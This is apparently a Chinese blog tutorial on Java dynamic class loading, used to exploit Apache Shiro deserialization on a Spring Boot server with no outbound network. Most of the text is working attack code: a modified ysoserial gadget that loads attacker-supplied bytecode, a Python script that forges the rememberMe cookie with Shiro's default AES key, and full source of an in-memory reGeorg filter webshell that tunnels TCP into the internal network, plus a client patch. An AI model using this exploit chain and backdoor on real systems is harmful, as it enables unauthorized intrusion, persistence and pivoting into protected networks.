Java类动态加载

Java中类的加载方式分为显式和隐式,隐式加载是通过new等途径生成的对象时Jvm把相应的类加载到内存中,显示加载是通过 Class.forName(..) 等方式由程序员自己控制加载,而显式类加载方式也可以理解为类动态加载,我们也可以自定义类加载器去加载任意的类。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,其他子类加载器例如URLClassLoader 都是通过继承 java.lang.ClassLoader 然后重写父类方法从而实现了加载目录 class 文件或者远程资源文件

在网站管理工具"冰蝎"中用到了这种方法

冰蝎服务端核心代码:

class U extends ClassLoader{   U(ClassLoader c){       super(c);  }   public Class g(byte []b){       return super.defineClass(b,0,b.length);  }}new U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageContext);

代码中创建了U类继承 ClassLoader ,然后自定义一个名为 g 的方法,接收字节数组类型的参数并调用父类的 defineClass 动态解析字节码返回 Class 对象,然后实例化该类并调用 equals 方法,传入 jsp 上下文中的 pageContext 对象。

其中 bytecode 就是由冰蝎客户端发送至服务端的字节码,改字节码所代表的类中重写了 equals 方法,从 pageContext 中提取 request ,response 等对象作参数的获取和执行结果的返回

反射调用defineClass

上文中新建了一个类来实现动态加载字节码的功能,但在某些利用场景使用有一定限制,所以也可以通过直接反射调用 ClassLoader 的 defineClass 方法动态加载字节码而不用新建其他 Java 类

java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(new ClassLoader(){}, classBytes, 0, classBytes.length);

在调用 defineClass 时,重新实例化了一个 ClassLoader ,new ClassLoader(){} ,这是因为在 Java 中类的唯一性由类加载器和类本身决定,如果沿用当前上下文中的类加载器实例,而 POC 中使用同一个类名多次攻击,可能出现类重复定义异常

java 动态java脚本 java动态执行代码_java调用shell获取错误信息

Shiro反序列化上载reGeorg代理

举个实际应用的例子,针对一个完全不出网的 Spring Boot + Shiro 程序如何进行内网渗透,这种情况下不能写 jsp 马,而且不能出网自然不能作反弹 shell 等操作,要进行内网渗透我觉得最好的方式就是动态注册filter或者 servlet ,并将 reGeorg 的代码嵌入其中,但如果将 POC 都写在 header 中,肯定会超过中间件 header 长度限制,当然在某些版本也有办法修改这个长度限制,参考(基于全局储存的新思路 | Tomcat的一种通用回显方法研究),如果采用上文中从外部加载字节码的方法那么这个问题就迎刃而解。

改造ysoserial

为了在 ysoserial 中正常使用下文中提到的类,需要先在 pom.xml 中加入如下依赖

org.apache.tomcat.embed   tomcat-embed-core   8.5.50org.springframeworkspring-web2.5

要让反序列化时运行指定的 Java 代码,需要借助 TemplatesImpl ,在 ysoserial 中新建一个类并继承 AbstractTranslet ,这里有不理解的可以参考(有关TemplatesImpl的反序列化漏洞链)

静态代码块中获取了 Spring Boot 上下文里的 request ,response 和 session ,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session 三个对象

package ysoserial;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class MyClassLoader extends AbstractTranslet {   static{       try{           javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();           java.lang.reflect.Field r=request.getClass().getDeclaredField("request");           r.setAccessible(true);           org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();           javax.servlet.http.HttpSession session = request.getSession();           String classData=request.getParameter("classData");           System.out.println(classData);           byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);           java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});           defineClassMethod.setAccessible(true);           Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);           cc.newInstance().equals(new Object[]{request,response,session});      }catch(Exception e){           e.printStackTrace();      }  }   public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {  }   public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {  }}

然后在 ysoserial.payloads.util 包的 Gadgets 类中照着原有的 createTemplatesImpl 方法添加一个 createTemplatesImpl(Class c) ,参数即为我们要让服务端加载的类,如下直接将传入的 c 转换为字节码赋值给了 _bytecodes

public static  T createTemplatesImpl(Class c) throws Exception {   Class tplClass = null;   if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {       tplClass = (Class) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");  }else{       tplClass = (Class) TemplatesImpl.class;  }   final T templates = tplClass.newInstance();   final byte[] classBytes = ClassFiles.classAsBytes(c);   Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {       classBytes  });   Reflections.setFieldValue(templates, "_name", "Pwnr");   return templates;}

最后复制 CommonsBeanutils1.java 的代码增加一个 payload CommonsBeanutils1_ClassLoader.java,再把其中

final Object templates = Gadgets.createTemplatesImpl(command);

修改为

final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);

打包

mvn clean package -DskipTests

借以下脚本生成 POC

#python2#pip install pycryptoimport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESkey =  "kPH+bIxk5D2deZiIxcaaaA=="mode =  AES.MODE_CBCIV   = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV)payload=base64.b64decode(sys.argv[1])BS   = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload)print(base64.b64encode(IV + encryptor.encrypt(payload)))
python2 shiro_cookie.py `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader anything |base64 |sed ':label;N;s/\n//;b label'`

改造reGeorg

对于 reGeorg 服务端的更改其实也就是 request 等对象的获取方式,为了方便注册 filter ,我直接让该类实现了 Filter 接口,在 doFilter 方法中完成 reGeorg 的主要逻辑,在 equals 方法中进行filter的动态注册

package reGeorg;import javax.servlet.*;import java.io.IOException;public class MemReGeorg implements javax.servlet.Filter{   private javax.servlet.http.HttpServletRequest request = null;   private org.apache.catalina.connector.Response response = null;   private javax.servlet.http.HttpSession session =null;   @Override   public void init(FilterConfig filterConfig) throws ServletException {  }   public void destroy() {}   @Override   public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {       javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;       javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;       javax.servlet.http.HttpSession session = request.getSession();       String cmd = request.getHeader("X-CMD");       if (cmd != null) {           response.setHeader("X-STATUS", "OK");           if (cmd.compareTo("CONNECT") == 0) {               try {                   String target = request.getHeader("X-TARGET");                   int port = Integer.parseInt(request.getHeader("X-PORT"));                   java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open();                   socketChannel.connect(new java.net.InetSocketAddress(target, port));                   socketChannel.configureBlocking(false);                   session.setAttribute("socket", socketChannel);                   response.setHeader("X-STATUS", "OK");              } catch (java.net.UnknownHostException e) {                   response.setHeader("X-ERROR", e.getMessage());                   response.setHeader("X-STATUS", "FAIL");              } catch (java.io.IOException e) {                   response.setHeader("X-ERROR", e.getMessage());                   response.setHeader("X-STATUS", "FAIL");              }          } else if (cmd.compareTo("DISCONNECT") == 0) {               java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");               try{                   socketChannel.socket().close();              } catch (Exception ex) {              }               session.invalidate();          } else if (cmd.compareTo("READ") == 0){               java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");               try {                   java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512);                   int bytesRead = socketChannel.read(buf);                   ServletOutputStream so = response.getOutputStream();                   while (bytesRead > 0){                       so.write(buf.array(),0,bytesRead);                       so.flush();                       buf.clear();                       bytesRead = socketChannel.read(buf);                  }                   response.setHeader("X-STATUS", "OK");                   so.flush();                   so.close();              } catch (Exception e) {                   response.setHeader("X-ERROR", e.getMessage());                   response.setHeader("X-STATUS", "FAIL");              }          } else if (cmd.compareTo("FORWARD") == 0){               java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");               try {                   int readlen = request.getContentLength();                   byte[] buff = new byte[readlen];                   request.getInputStream().read(buff, 0, readlen);                   java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen);                   buf.clear();                   buf.put(buff);                   buf.flip();                   while(buf.hasRemaining()) {                       socketChannel.write(buf);                  }                   response.setHeader("X-STATUS", "OK");              } catch (Exception e) {                   response.setHeader("X-ERROR", e.getMessage());                   response.setHeader("X-STATUS", "FAIL");                   socketChannel.socket().close();              }          }      } else {           filterChain.doFilter(request, response);      }  }   public boolean equals(Object obj) {       Object[] context=(Object[]) obj;       this.session = (javax.servlet.http.HttpSession ) context[2];       this.response = (org.apache.catalina.connector.Response) context[1];       this.request = (javax.servlet.http.HttpServletRequest) context[0];       try {           dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request);      } catch (IllegalAccessException e) {           e.printStackTrace();      }       return true;  }   public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {       javax.servlet.ServletContext servletContext=request.getServletContext();       if (servletContext.getFilterRegistration(name) == null) {           java.lang.reflect.Field contextField = null;           org.apache.catalina.core.ApplicationContext applicationContext =null;           org.apache.catalina.core.StandardContext standardContext=null;           java.lang.reflect.Field stateField=null;           javax.servlet.FilterRegistration.Dynamic filterRegistration =null;           try {               contextField=servletContext.getClass().getDeclaredField("context");               contextField.setAccessible(true);               applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);               contextField=applicationContext.getClass().getDeclaredField("context");               contextField.setAccessible(true);               standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);               stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");               stateField.setAccessible(true);               stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);               filterRegistration = servletContext.addFilter(name, filter);               filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});               java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");               filterStartMethod.setAccessible(true);               filterStartMethod.invoke(standardContext, null);               stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);          }catch (Exception e){              ;          }finally {               stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);          }      }  }}

编译后使用如下命令得到其字节码的 base64

cat MemReGeorg.class|base64 |sed ':label;N;s/\n//;b label'

测试

在 Cookie 处填入 rememberMe=[ysoserial生成的POC],POST 包体填入 classData=[MemReGeorg类字节码的base64] ,注意 POST 中参数需要 URL 编码,然后发包

java 动态java脚本 java动态执行代码_java 动态java脚本_02

然后带上 X-CMD:l3yxheader 头再请求页面,返回 X-STATUS: OK 说明 reGeorg 已经正常工作

java 动态java脚本 java动态执行代码_python动态改变执行代码_03

reGeorg 客户端也需要修改一下,原版会先 GET 请求一下网页判断是否是 reGeorg 的 jsp 页面,由于这里是添加了一个 filter ,正常访问网页是不会有变化的,只有带上相关头才会进入 reGeorg 代码,所以需要将客户端中相关的验证去除

在 askGeorg 函数第一行增加 return True 即可

java 动态java脚本 java动态执行代码_java调用shell获取错误信息_04

连接 reGeorg

java 动态java脚本 java动态执行代码_jsp 如何动态给图片赋值_05

java 动态java脚本 java动态执行代码_java调用shell获取错误信息_06

参考